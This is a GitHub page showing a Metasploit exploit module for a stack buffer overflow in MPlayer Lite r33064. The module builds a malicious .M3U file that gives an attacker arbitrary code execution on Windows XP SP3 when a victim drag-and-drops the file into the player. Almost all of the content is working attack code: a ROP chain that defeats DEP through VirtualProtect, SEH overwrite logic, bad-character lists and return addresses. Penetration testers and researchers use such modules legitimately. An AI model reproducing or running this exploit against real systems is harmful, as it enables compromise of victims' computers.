-
Notifications
You must be signed in to change notification settings - Fork 13.8k
/
mplayer_m3u_bof.rb
116 lines (102 loc) · 3.62 KB
/
mplayer_m3u_bof.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'MPlayer Lite M3U Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
MPlayer Lite r33064, caused by improper bounds checking of an URL entry.
By persuading the victim to open a specially-crafted .M3U file, specifically by
drag-and-dropping it to the player, a remote attacker can execute arbitrary
code on the system.
},
'License' => MSF_LICENSE,
'Author' =>
[
'C4SS!0 and h1ch4m', # Vulnerability discovery and original exploit
'Gabor Seljan', # Metasploit module
],
'References' =>
[
[ 'BID', '46926' ],
[ 'EDB', '17013' ],
[ 'URL', 'http://www.mplayer-ww.com/eng/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Platform' => 'win',
'Payload' =>
{
'BadChars' => "\x00\x20\x0d\x0a\x1a\x2c\x2e\x26\x2f\x3a\x3e\x3f\x5c",
'Space' => 5040
},
'Targets' =>
[
[ 'Windows XP SP3 (DEP Bypass) / MPlayer Lite r33064',
{
'Offset' => 21,
'Ret' => 0x649a7bbe # ADD ESP,64C # PPPR [avformat-52.dll]
}
],
],
'Privileged' => false,
'DisclosureDate' => '2011-03-19',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])
],
self.class)
end
def junk
return rand_text_alpha(4).unpack("V").first
end
def nops
return make_nops(4).unpack("V").first
end
def exploit
# ROP chain generated by mona.py - See corelan.be
rop_gadgets =
[
0x6ad9d85d, # POP EBP # RETN [avcodec-52.dll]
0x10018fc3, # &CALL ESP [unrar.dll]
0x64984a70, # POP EAX # RETN [avformat-52.dll]
0xffffec4f, # Value to negate, will become 0x00005040
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
0x6b063c7d, # PUSH EAX # POP EBX # POP ESI # POP EDI # RETN [avcodec-52.dll]
junk,
junk,
0x1001d154, # POP EAX # RETN [unrar.dll]
0x77e71210, # &VirtualProtect() [IAT RPCRT4.dll]
0x64987f7f, # MOV EAX,DWORD PTR DS:[EAX] # RETN [avformat-52.dll]
0x6afcdc68, # XCHG EAX,ESI # RETN [avcodec-52.dll]
0x6b02836d, # POP EAX # RETN [avcodec-52.dll]
0xffffffc0, # Value to negate, will become 0x00000040
0x6b0ce791, # NEG EAX # RETN [avcodec-52.dll]
0x6af79d80, # XCHG EAX,EDX # RETN [avcodec-52.dll]
0x1001bad6, # POP ECX # RETN [unrar.dll]
0x649eab48, # &Writable location [avformat-52.dll]
0x6d7c0bb7, # POP EDI # RETN [swscale-0.dll]
0x6b03d722, # RETN (ROP NOP) [avcodec-52.dll]
0x64984a70, # POP EAX # RETN [avformat-52.dll]
nops,
0x6d7c57d1 # PUSHAD # RETN [swscale-0.dll]
].flatten.pack('V*')
sploit = rand_text_alpha_upper(target['Offset'])
sploit << rop_gadgets
sploit << payload.encoded
sploit << generate_seh_record(target.ret)
sploit << rand_text_alpha_upper(1000) # Generate exception
# Create the file
print_status("Creating '#{datastore['FILENAME']}' file ...")
file_create("http://" + sploit)
end
end